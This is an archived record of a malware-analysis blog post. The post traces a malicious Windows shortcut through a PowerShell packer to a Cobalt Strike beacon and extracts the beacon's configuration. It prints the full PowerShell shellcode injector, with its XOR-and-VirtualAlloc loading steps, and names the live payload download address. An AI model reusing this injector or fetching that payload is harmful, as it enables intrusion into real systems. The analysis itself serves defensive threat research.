{
	"id": "9e0fbab9-7082-4da8-b1e8-64bfeaea4296",
	"created_at": "2026-04-06T02:10:45.58307Z",
	"updated_at": "2026-04-10T13:12:05.626311Z",
	"deleted_at": null,
	"sha1_hash": "be52a57bbffbb979ccd9ee32aa06795dd15a7390",
	"title": "LNK forensic and config extraction of a cobalt strike beacon",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1969390,
	"plain_text": "LNK forensic and config extraction of a cobalt strike beacon\r\nBy Malcat EI\r\nArchived: 2026-04-06 01:32:22 UTC\r\nSample:\r\n21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20.lnk (Bazaar, VT)\r\nInfection chain:\r\n.lnk shortcut (downloader) -\u003e Powershell packer -\u003e Gzip archive -\u003e Powershell injector -\u003e Cobalt Strike\r\nTools used:\r\nMalcat\r\nDifficulty:\r\nVery easy\r\nA suspicious link\r\nThe downloader\r\nThe file we are about to dissect today is a .lnk shortcut found on MalwareBazaar. The shortcut is a pretty\r\nstraightforward powershell downloader, executing a remote powershell script located at\r\nhxxp://120.48.85.228:80/favicon .\r\nFigure 1: The shortcut file and its execution\r\nAs a malware analyst, I would usually fetch the remote file and then move on to the next stage. But something\r\nwas odd with this file. Usually, links to PE programs have their \"Relative Path\" string property set, at least that's\r\nwhat I am used to. But in this shortcut, the string property is absent:\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 1 of 11\n\nFigure 2: Missing 'RelativePath' property\r\nChances are that the malicious link was not originally pointing to a PE program. The threat actor linked to another\r\ntype of file, and then modified manually the link target to powershell.exe when tailoring its attack. It's odd, thus\r\ninteresting. People in DFIR are aware that windows shortcut files can actually provide much more information\r\nthan what is displayed in the properties dialog. So let us dive a bit with Malcat and see if we can dig up some extra\r\ninformation on this weird shortcut file.\r\nGuessing the original linked file name\r\nThe first step would be to check online intelligence for the original submission name of the file. Usually, the name\r\nof a .lnk file is the same as the name of the targeted file, only the extension differ (e.g program.lnk points to\r\nprogram.exe ).\r\nFigure 3: Submission name on VirusTotal\r\nIn VirusTotal, we can see that the file was submitted as 附件：安全自查工具.lnk which is Chinese for:\r\nAttachment:Security Self-Check Tool.lnk . This sounds more like a click-bait name than a standard file name.\r\nChances are that the shortcut file name was modified post-creation. We only learn that the targeted victim is most\r\nlikely Chinese-speaking.\r\nLucky for us, most .lnk files have an ExtraData section which is a collection of structures storing additional\r\ninformation about the linked file. These structures are filled during the shortcut creation, and are usually not\r\nupdated when the file is modified using Window's properties dialog. The one we are particularly interested in is\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 2 of 11\n\nthe structure named PropertyStoreDataBlock . In Malcat, switch to the structure view (F2 F2) and jump to offset\r\n0x540 (Ctrl+G, 0x540):\r\nFigure 4: PropetyStoreDataBlock structure in the ExtraData section\r\nAnd .. jackpot. We can see that the property ParsingPath in one of the PropertyStorage structures holds what\r\nis most likely the original file path of the target of the shortcut. The .lnk files pointed to E:\\downloads\\附件1：如\r\n何在个税APP上完成汇算清缴？.pdf which is chinese for E:\\downloads\\Attachment 1: How to complete the\r\nsettlement and payment on the IIT APP? .pdf (a chinese tax-related pdf). So mystery solved. The link was\r\nindeed pointing originally to a PDF document and was modified to point to powershell.exe afterwards. This\r\nexplains the lack of RelativePath String member in the shortcut.\r\nGetting to know the attacker\r\nKnowing the original file name of the link target is great for pivoting. But can we learn more information about\r\nthe attacker? Well, the structure PropertyStoreDataBlock gives us three more valuable informations about him:\r\nSystem.DateCreated : the linked file E:\\downloads\\Attachment 1: How to complete the settlement\r\nand payment on the IIT APP? .pdf was most likely downloaded the 30th of June.\r\nSystem.ItemTypeText : this is the mime type of the linked program. Microsoft Edge PDF Document tells\r\nus that PDF files were associated to the Edge browser on the attacker's computer. Which kind of madman\r\ndoes this? Well someone on a fresh computer who does not have another browser or adobe reader installed\r\nfor instance.\r\nFolderPath : the original file was downloaded into E:\\下载 ( E:\\downloads in Chinese). So the user of\r\nthe computer is also most likely Chinese-speaking.\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 3 of 11\n\nCan we go further? We Could inspect the LinkInfo structure. It does indeed validates that the shortcut points to\r\nthe program powershell.exe . But it also contains a property named DriveSerialNumber which is pretty\r\ninteresting for forensic investigations. It is the serial number of the hard disk storing the linked program at the\r\ntime of its last modification. So basically, that's the serial number of the hard disk of the threat actor.\r\nFigure 5: The LinkInfo structure\r\nAnd if you think that having the drive serial number is neat, what until you see the TrackerDataBlock structure.\r\nIt contains the computer name of the attacker's computer ( desktop-31400cr ) and two very interesting structure\r\nmembers: Droid and DroidBirth . DROID stands for Digital Record Object Identification and uniquely\r\nidentifies a file. These identifiers are made of a pair of two GUIDs. And very interestingly, the last 8 digit numbers\r\nof the second GUIDs are actually the attacker's MAC address.\r\nFigure 6: The TrackerDataBlock structure\r\nA quick google lookup tells us that 00:50:56:C0:00:08 is associated to vmware network interfaces.\r\nSo in a few minutes, we've learned a lot of information:\r\nThe attacker is most likely Chinese-speaking and targets a Chinese-speaking victim\r\nThe attacker's is using a Vmware virtual named desktop-31400cr and its mac address is\r\n00:50:56:C0:00:08\r\nOn the 30th of June 2022, the attacker downloaded a file named Attachment 1: How to complete the\r\nsettlement and payment on the IIT APP? .pdf using his Edge browser\r\nThe attacker then changed the link target (most likely manually using Window's properties dialog) to\r\npowershell.exe -nop -w hidden ...\r\nThe attacker changed the link name to Attachment:Security Self-Check Tool.lnk\r\nIn conclusion, never underestimate a Windows shortcut file. Now let use have a look at the next stage of the\r\nattack.\r\nSecond stage: powershell packer + injector\r\nThe packer\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 4 of 11\n\nThe file downloaded by the powershell command is located at hxxp://120.48.85.228:80/favicon . It is a 190KB\r\npowershell script of sha256 4109d17d439e425d24e9d11956adcc63ff8e24ccfffe21dd8c5431fe969d2783 (Bazaar,\r\nVT).\r\nFigure 7: Unpacking the payload string\r\nThe script is composed at 99% of a base64-encoded string. So let use Malcat's transform on this string (select the\r\nstring and then Ctrl+T) and chose base64 decode -\u003e New file. The decoded string appears to be a GZip archive.\r\nDouble click on packed content in Malcat's Virtual File System tab and you will display the unpacked gzip\r\narchive.\r\nThe injector\r\nThe file inside the GZip archive is a 275Kb ps1 script of sha256\r\nb154b7681167bd4a61c54b543126f31d0ecca4c71846d5fe35a677c908fae3d1 . It contains a huge base64 payload\r\nstored in the powershell variable $var_code . The script itself is a simple injector performing the following steps:\r\nBase64-decode content of $var_code ( [System.Convert]::FromBase64String )\r\nXor the decoded content using the value 35 as key ( $var_code[$x] = $var_code[$x] -bxor 35 )\r\nObtain the address of the api VirtualAlloc\r\nAllocate enough space for the decrypted content using VirtualAlloc\r\nCopy the decrypted bytes to the allocated buffer\r\nRun the assembly (i.e. the PE file) loaded at this address ( $var_runme.Invoke([IntPtr]::Zero) )\r\nThe full code of the script is given below:\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 5 of 11\n\nSet-StrictMode -Version 2\r\nfunction func_get_proc_address {\r\n Param ($var_module, $var_procedure)\r\n $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyC\r\n $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices\r\n return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.Interop\r\n}\r\nfunction func_get_delegate_type {\r\n Param (\r\n [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,\r\n [Parameter(Position = 1)] [Type] $var_return_type = [Void]\r\n )\r\n $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyN\r\n $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConvention\r\n $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_param\r\n return $var_type_builder.CreateType()\r\n}\r\n[Byte[]]$var_code = [System.Convert]::FromBase64String('\u003credacted\u003e')\r\nfor ($x = 0; $x -lt $var_code.Count; $x++) {\r\n $var_code[$x] = $var_code[$x] -bxor 35\r\n}\r\n$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel3\r\n$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)\r\n[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)\r\n$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_dele\r\n$var_runme.Invoke([IntPtr]::Zero)\r\nNothing fancy there. Decrypting the payload using Malcat is a piece of cake:\r\nIn Data view, select the base64 string\r\nTransform (Ctrl+T) the selection: base64 decode -\u003e new file\r\nSelect all bytes of the new file (Ctrl+A)\r\nTransform (Ctrl+T) the selection: xor decode (35) -\u003e new file\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 6 of 11\n\nFigure 8: Decrypting the injector's payload\r\nLet us have a look at the decrypted PE file.\r\nThird stage: Cobalt Strike beacon\r\nWhat we are looking at now is a 205KB PE file of sha256\r\nbb26724c27361a5881ebf646166423b9668fd4089cf50e4e493641d471d30fa9 (VT). Since the file is pretty small and\r\nnot obfuscated, we are most likely facing the last stage of the infection chain. So first thing first, let us have a look\r\nat the summary view (F1) in Malcat:\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 7 of 11\n\nFigure 9: Third stage\r\nBy just looking at the summary, we can infer that:\r\nThe file is not packed (low entropy overall)\r\nThe export name ( beacon.dll ) is pretty interesting\r\nIt seems to be able to download stuff\r\nIt seems to be able to decrypt stuff.\r\nA first wild guess would be that it's a Cobalt Strike or meterpreter beacon. A quick look at the threat intelligence\r\nreport (Ctrl+I) confirms that we are indeed looking at a Cobalt Strike beacon:\r\nFigure 10: Querying threat intelligence\r\nCobalt Strike is a red team penetration test tool which is also used a lot by threat actors. We won't analyze it in\r\ndetails since a lot of in-depth analyses can already be found online:\r\nhttps://www.mandiant.com/resources/defining-cobalt-strike-components\r\nhttps://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/\r\nhttps://blog.talosintelligence.com/2020/09/coverage-strikes-back-cobalt-strike-paper.html\r\nhttps://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf\r\nBut what we will do is extract the configuration data from the beacon program. Cobalt Strike is a very flexible\r\npiece of software driven by its configuration file. This configuration comes as a serialized structure stored inside\r\nthe .data section of the beacon. So let us try to extract it using existing tools.\r\nWhen tools fail\r\nCobalt Strike is pretty old and widespread, so it should not be a surprise that many tools have been designed for it.\r\nWe will first use SentinelOne's CobalStrikeParser to extract the configuration from the third-stage beacon.\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 8 of 11\n\n1\r\n2\r\nmalcat@XPS:~/malware/bazaar/cobalt$ python parse_beacon_config.py ./beacon\r\n[-] Failed to find any beacon configuration\r\nNo luck this time. We could also try a more up-to-date tool, Didier Steven's 1768.py, which seems to support a\r\nbroader variety of beacons:\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\nmalcat@XPS:~/malware/bazaar/cobalt$ python 1768.py ./beacon\r\nFile: ./beacon\r\npayloadType: 0x10014fc2\r\npayloadSize: 0x00000000\r\nintxorkey: 0x00000000\r\nid2: 0x00000000\r\nSkipping 32 bytes\r\npayloadType: 0x00000003\r\npayloadSize: 0x00000002\r\nintxorkey: 0x00000004\r\nid2: 0x00000018\r\nMZ header not found, truncated dump:\r\n00000000: 01 00\r\nAgain, no luck on this sample. Somehow, it could not infer the encryption key of the configuration structure. Our\r\nlast shot is to try to locate and decrypt the structure manually. By chance, Malcat embeds a Cobalt Strike config\r\nparser. So after decryption, the structure will be automatically parsed.\r\nIn order to locate the config, we could reverse engineer the code of the program. But that would take time, so let\r\nus focus on the data instead. We know that Cobalt Strike sotres its configuration in the .data section. This\r\nsection is relatively small (~ 8KB on disk) so it should be easy to spot. We should look for:\r\nAn encrypted block of data of a few hundred bytes\r\nWith a code reference decrypting it\r\nThat starts with 00 01 00 01 00 02 00 when decrypted (that is the serialized form of the BeaconType\r\nconfig value, all configs start with this)\r\nWe don't have to look for long to find our first candidate at address 0x10032020 . This check all the boxes:\r\nFigure 11: Start candidate of encrypted config\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 9 of 11\n\nIn order to validate our assumption, let's decrypt this configuration:\r\nSelect 0x1000 bytes starting from address 0x10032020\r\nTransform (Ctrl+T) the selection using a xor 0xe9 in a new file\r\nMalcat opens the result and identifies it as a Cobal Strike configuration\r\nYou can see these three steps in action below:\r\nFigure 12: Decrypting the config config\r\nThis was pretty easy! We now have access to all the information we need. Now regarding the causes that lead the\r\nexisting tools to fail, it looks like SentinelOne's CobalStrikeParser did not have the correct XOR key (0xe9) listed\r\nin its keys list:\r\n1\r\n2\r\n3\r\n4\r\nXORBYTES = {\r\n 3: 0x69,\r\n 4: 0x2e\r\n}\r\nI don't know if it is because this beacon is newer, or if the attacker modified the key himself. At the end, relying on\r\nautomatic tools only gets you so far.\r\nConclusion\r\nToday we have seen how much information a simple .lnk shortcut can store and how they should not be\r\noverlooked for threat hunting. Luckily Malcat's .lnk parser is pretty thorough and can show most of the hidden\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 10 of 11\n\ngems of such files. Afterwards, we did see how to statically decrypt and extract the configuration structure of a\r\nCobalt Strike beacon using Malcat's transforms. When all tools fail, there is always the good old hexadecimal\r\neditor.\r\nI hope that you enjoyed this small forensic/unpacking session, more oriented towards beginners this time. As\r\nusual, feel free to share with us your remarks or suggestions!\r\nSource: https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nhttps://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/"
	],
	"report_names": [
		"lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775441445,
	"ts_updated_at": 1775826725,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/be52a57bbffbb979ccd9ee32aa06795dd15a7390.pdf",
		"text": "https://archive.orkl.eu/be52a57bbffbb979ccd9ee32aa06795dd15a7390.txt",
		"img": "https://archive.orkl.eu/be52a57bbffbb979ccd9ee32aa06795dd15a7390.jpg"
	}
}